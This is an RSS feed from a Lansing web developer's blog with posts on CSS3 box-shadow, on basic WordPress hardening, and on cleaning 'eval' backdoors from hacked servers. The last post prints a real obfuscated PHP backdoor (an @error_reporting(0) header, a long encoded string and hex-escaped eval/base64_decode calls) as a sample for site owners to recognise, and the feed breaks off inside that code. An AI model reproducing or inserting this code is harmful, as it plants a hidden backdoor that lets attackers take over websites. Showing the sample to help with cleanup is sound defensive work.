<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Shane Strong</title>
	<atom:link href="http://www.shanestrong.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.shanestrong.com</link>
	<description>Lansing WordPress Web Developer Search Engine Optimization Website Consultant Theme Developer Magento Developer Lansing Michigan</description>
	<lastBuildDate>Fri, 03 Feb 2012 15:45:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>CSS3 Box-Shadow</title>
		<link>http://www.shanestrong.com/css/css3-box-shadow</link>
		<comments>http://www.shanestrong.com/css/css3-box-shadow#comments</comments>
		<pubDate>Fri, 03 Feb 2012 15:45:52 +0000</pubDate>
		<dc:creator>Shane</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1958</guid>
		<description><![CDATA[It seems like more and more website want to have the newest look and the newest techniques involved with them. A really cool technique that I use quite often is the CSS3 Box Shadow. This is kind of like doing a drop shadow in Photoshop except it is done with CSS. Why should you do [...]]]></description>
			<content:encoded><![CDATA[<p>It seems like more and more website want to have the newest look and the newest techniques involved with them.  A really cool technique that I use quite often is the CSS3 Box Shadow.  This is kind of like doing a drop shadow in Photoshop except it is done with CSS.  Why should you do a drop shadow this way?  Well there are a couple reasons.  One really simple because you can.  A drop shadow is something that has been used in Photoshop for some time now but there has really never been a way to create a drop shadow in web.  Two and the most important because it is created in CSS you do not have to save a gigantic image that has the drop shadow.</p>
<h3>What are the down falls to using Box Shadows</h3>
<p>Well unfortunately like most of the new techniques that are created everyday some browsers don&#8217;t support this.  Well what browser do support this.  Pretty much all of the popular browsers new versions.  The Box Shadow is supported with IE9+, Firefox 4, Chrome, Opera, and Safari 5.1.1.  As most people know Safari uses a little bit different coding style you will have to create this with the -webkit.  You can also use the -moz setting for Mozilla but you don&#8217;t have to.</p>
<h3>How to implement Box Shadows</h3>
<p>Like all other CSS you first have to determine the container that you want to place this on.  Whether it is a div, class, id, or any other element.  This property has 6 parts.  The first part is the h-shadow or horizontal shadow.  The next part is the v-shadow or vertical shadow.  The third part is the blur, which is optional.  The fourth is the spread and this is also optional.  The fifth is the color and this can handle all the types whether it is hex or rgb.  Now the sixth part I am going to save for a little later.</p>
<h3>What Box Shadow should look like.</h3>
<p>So as stated above you have 6 parts to this that you can fill out.  There are 3 that are optional.  So lets see what this looks like.</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #6666ff;">.yourclass</span> <span style="color: #00AA00;">&#123;</span>
   -moz-box-shadow<span style="color: #00AA00;">:</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #cc00cc;">#000000</span><span style="color: #00AA00;">;</span>
   -webkit-box-shadow<span style="color: #00AA00;">:</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #cc00cc;">#000000</span><span style="color: #00AA00;">;</span>
   box-shadow<span style="color: #00AA00;">:</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #cc00cc;">#000000</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>OK so now you can see what it looks like.  As you can see the first value is the h-shadow, the second is the v-shadow, the third is the blur (optional), the fourth is the spread (optional), and the fifth is the color.  Now what about this fifth part.</p>
<h3>The fifth part</h3>
<p>The fifth part is one that you may never use and it is one that you could find yourself using a lot.  The fifth element is a inset.  What this does is exactly as it sounds it puts the shadow inwards.  Now below is how you add this to the property.</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #6666ff;">.yourclass</span> <span style="color: #00AA00;">&#123;</span>
   -moz-box-shadow<span style="color: #00AA00;">:</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #cc00cc;">#000000</span> <span style="color: #993333;">inset</span><span style="color: #00AA00;">;</span>
   -webkit-box-shadow<span style="color: #00AA00;">:</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #cc00cc;">#000000</span> <span style="color: #993333;">inset</span><span style="color: #00AA00;">;</span>
   box-shadow<span style="color: #00AA00;">:</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #933;">3px</span> <span style="color: #cc00cc;">#000000</span> <span style="color: #993333;">inset</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>If you would like to see examples and learn more about this I would recommend going over to <a target="_blank" href="http://css-tricks.com/snippets/css/css-box-shadow/">CSS Tricks</a>.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1958&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/css/css3-box-shadow/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Protect/Secure WordPress Against Hackers</title>
		<link>http://www.shanestrong.com/wordpress-help/protectsecure-wordpress-against-hackers</link>
		<comments>http://www.shanestrong.com/wordpress-help/protectsecure-wordpress-against-hackers#comments</comments>
		<pubDate>Tue, 31 Jan 2012 16:43:21 +0000</pubDate>
		<dc:creator>Shane</dc:creator>
				<category><![CDATA[Servers]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WordPress-Help]]></category>
		<category><![CDATA[Hackers]]></category>
		<category><![CDATA[Hacks]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1928</guid>
		<description><![CDATA[Websites are getting hacked more and more. Most of the time the owner would have no clue they were even hacked. Most hacks(backdoors, viruses, worms, ect.) don&#8217;t take down your website. They actually use your website to help there websites. Some of the more recent hacks end up making all your search engine traffic redirect [...]]]></description>
			<content:encoded><![CDATA[<p>Websites are getting hacked more and more.  Most of the time the owner would have no clue they were even hacked.  Most hacks(backdoors, viruses, worms, ect.) don&#8217;t take down your website.  They actually use your website to help there websites.  Some of the more recent hacks end up making all your search engine traffic redirect to a different website.  This will really hurt you pagerank, search engine position, and most of all you revenue.  Now unless you are a avid searcher for your domain/keywords, you will never see these hacks.  So first off what can you do to protect yourself from getting hacked.  There are a few ways that you can protect your self and almost anyone can implement these securities.</p>
<h3>Installing Secure Plugins</h3>
<p>One of the best ways to stop people from hacking your website is to install some security plugins.  There are a lot of free security plugins out there that work great.  Here are a couple:</p>
<ol>
<li><a target="_blank" href="http://wordpress.org/extend/plugins/bulletproof-security/">BulletProof Security</a></li>
<li><a target="_blank" href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan</a></li>
<li><a target="_blank" href="http://wordpress.org/extend/plugins/wp-login-security/">WP Login Security</a></li>
</ol>
<p>Now these plugins are great they really help you protect your WordPress installation and show you problems involved with your installation.</p>
<h3>Backup File And DB</h3>
<p>The next thing that you can do to protect yourself is to always have backups of everything.  If you have backups of your files and database you can always revert to a older version or move to a different server easily.  Here are some great plugins for that:</p>
<ol>
<li><a target="_blank" href="http://wordpress.org/extend/plugins/myeasybackup/">myEASYbackup</a></li>
<li><a target="_blank" href="http://wordpress.org/extend/plugins/wordpress-ez-backup/">WordPress EZ Backup</a></li>
<li><a target="_blank" href="http://wordpress.org/extend/plugins/wordpress-backup-to-dropbox/">WordPress Backup To Dropbox</a></li>
</ol>
<p>There are a ton of backup plugins and most of them are really good.  This is defiantly something that you want to do because you never know when you are going to have to repair or revert your WordPress site.</p>
<h3>File, Folder and User Settings</h3>
<p>There are tons of things that you can do with your settings to help protect you from getting hacked.  One of the biggest and yet most exploited parts of WordPress is the admin account.  I am not talking about all administrators I am talking about the user admin.  Most WordPress installations are created with the default admin user.  This is something that I would strongly advise in changing.  Another thing would be your database prefix.  Most WordPress databases are created with the default prefix wp_.  This is something that you can change when you first start your website, name the prefix whatever_ your want.  You can change this after installation it is just a little bit harder.</p>
<h3>Permissions</h3>
<p>The default WordPress permissions are files 644 and folders 755.  A lot of your files don&#8217;t need to have that much permission.  For instance your .htaccess file it has a 644 but only needs a 404.  Your wp-config.php has a 644 but only needs a 400.  There are a lot of files and folders that you can change the permissions to and still have a working site.  I would recommend the <a target="_blank" href="http://wordpress.org/extend/plugins/bulletproof-security/">BulletProof Security</a> plugin from above.  It scans your files and informs you of all the files that you can change the permissions on to get better protection.</p>
<h3>User Accounts</h3>
<p>As for user account you should really limit the use of the administrator account.  I would not have more than 5 of these if that many.  You really don&#8217;t have to give the administrator privilege, in order to change things on the site.  You can use the editor, author, or contributor settings for people needing to change information or create posts.  Another thing that you can so is add a Captcha or reCaptcha plugin to your site.  This will make it so that not everything can create a user account.</p>
<h3>Final Thoughts</h3>
<p>If you have had issues with hacks I hope that this helps you and your site.  If you currently have a hack I hope that you can get it taken care of quick.  If you need some help understanding the hack please feel free to contact us.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1928&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/wordpress-help/protectsecure-wordpress-against-hackers/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Server Eval Hijacked</title>
		<link>http://www.shanestrong.com/wordpress-help/server-eval-hijacked</link>
		<comments>http://www.shanestrong.com/wordpress-help/server-eval-hijacked#comments</comments>
		<pubDate>Sun, 29 Jan 2012 03:32:29 +0000</pubDate>
		<dc:creator>Shane</dc:creator>
				<category><![CDATA[Servers]]></category>
		<category><![CDATA[WordPress-Help]]></category>
		<category><![CDATA[Eval Backdoor]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1935</guid>
		<description><![CDATA[Over the past few months more and more servers have been hijacked by eval viruses. Some of these viruses have been coming through timthumb and your servers .htaccess files. Me like others have been trying to figure out the best ways to delete these viruses. Some people may have seen these in there WordPress theme [...]]]></description>
			<content:encoded><![CDATA[<p>Over the past few months more and more servers have been hijacked by eval viruses.  Some of these viruses have been coming through timthumb and your servers .htaccess files.  Me like others have been trying to figure out the best ways to delete these viruses.  Some people may have seen these in there WordPress theme folder or even in any of there php files.  These are really tricky viruses or backdoors.  I have encountered 2 of these backdoors and have successfully found ways to clean all of my files.  It was really hard and time consuming.  So this post is to share my ways that I have fixed these backdoor eval php codes.</p>
<h3>The First Eval Code @error_reporting(0);</h3>
<p>This code was not as hard to remove as the other two.  But if you don&#8217;t know what you are doing you could really mess your website/server up.  The code for this virus looks like this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php <span style="color: #339933;">@</span><span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$eva1fYlbakBcVSir</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$eva1fYlbakBcVSir</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;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QDecJCI9AiM1QXamRyOiI2M4xVM1wlMygHXxYDXjVDecJDNchjM4xFN1EDXxYDecZjNxwVN2gHXiASPgITNmlmZksjI1QTMcljN4xFMwEDX5IDecNTNcVmM4xFM1wFM0gHXiASPgUjMmlmZkcCKsFmdltjIwIDecVzNcBjM4xFM2wFN2gHX0QTMcRjM4xlIg0DI1ITayRGJgsTN1kmcmRiLnkiIn4iM1kmcmRCI9ASNyInZkAyOngDN4xFN0EDXjZDecJTMxwFO0gHXyETMcdCI9ASNykmcmRyOnI2M4xVM1wVOygHXyQDXkNDecdCI9AiM1kmcmRyOnQDV2YWfVtUTnASPgITNyZGJ7cCKuVnc0VmckcCI9ASN1InZkszJyUDdpZGJsITNmlmZkwSNyYWamRCKuJXY0VmckszJg0DI1UTayZGJ+aWYgKCFpc3NldCgkZXZhbFVkQ1hURFFFUm1XbkRTKSkge2Z1bmN0aW9uIGV2YWxsd2hWZklWbldQYlQoJHMpeyRlID0gIiI7IGZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9&quot;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYlbakBcVSir</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\144</span><span style="color: #660099; font-weight: bold;">\x6f</span><span style="color: #660099; font-weight: bold;">\154</span><span style="color: #660099; font-weight: bold;">\x70</span><span style="color: #660099; font-weight: bold;">\170</span><span style="color: #660099; font-weight: bold;">\x65</span>&quot;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYldakBcVSir</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\164</span><span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\162</span><span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\166</span>&quot;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYldakBoVS1r</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\143</span><span style="color: #660099; font-weight: bold;">\x61</span><span style="color: #660099; font-weight: bold;">\154</span><span style="color: #660099; font-weight: bold;">\x70</span><span style="color: #660099; font-weight: bold;">\145</span><span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\137</span><span style="color: #660099; font-weight: bold;">\x67</span><span style="color: #660099; font-weight: bold;">\145</span><span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\160</span>&quot;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYidokBoVSjr</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x3b</span><span style="color: #660099; font-weight: bold;">\51</span><span style="color: #660099; font-weight: bold;">\x29</span><span style="color: #660099; font-weight: bold;">\135</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\133</span><span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\152</span><span style="color: #660099; font-weight: bold;">\x53</span><span style="color: #660099; font-weight: bold;">\126</span><span style="color: #660099; font-weight: bold;">\x63</span><span style="color: #660099; font-weight: bold;">\102</span><span style="color: #660099; font-weight: bold;">\x6b</span><span style="color: #660099; font-weight: bold;">\141</span><span style="color: #660099; font-weight: bold;">\x64</span><span style="color: #660099; font-weight: bold;">\151</span><span style="color: #660099; font-weight: bold;">\x59</span><span style="color: #660099; font-weight: bold;">\164</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\141</span><span style="color: #660099; font-weight: bold;">\x76</span><span style="color: #660099; font-weight: bold;">\145</span><span style="color: #660099; font-weight: bold;">\x24</span><span style="color: #660099; font-weight: bold;">\50</span><span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\144</span><span style="color: #660099; font-weight: bold;">\x6f</span><span style="color: #660099; font-weight: bold;">\143</span><span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\144</span><span style="color: #660099; font-weight: bold;">\x5f</span><span style="color: #660099; font-weight: bold;">\64</span><span style="color: #660099; font-weight: bold;">\x36</span><span style="color: #660099; font-weight: bold;">\145</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\141</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\50</span><span style="color: #660099; font-weight: bold;">\x6c</span><span style="color: #660099; 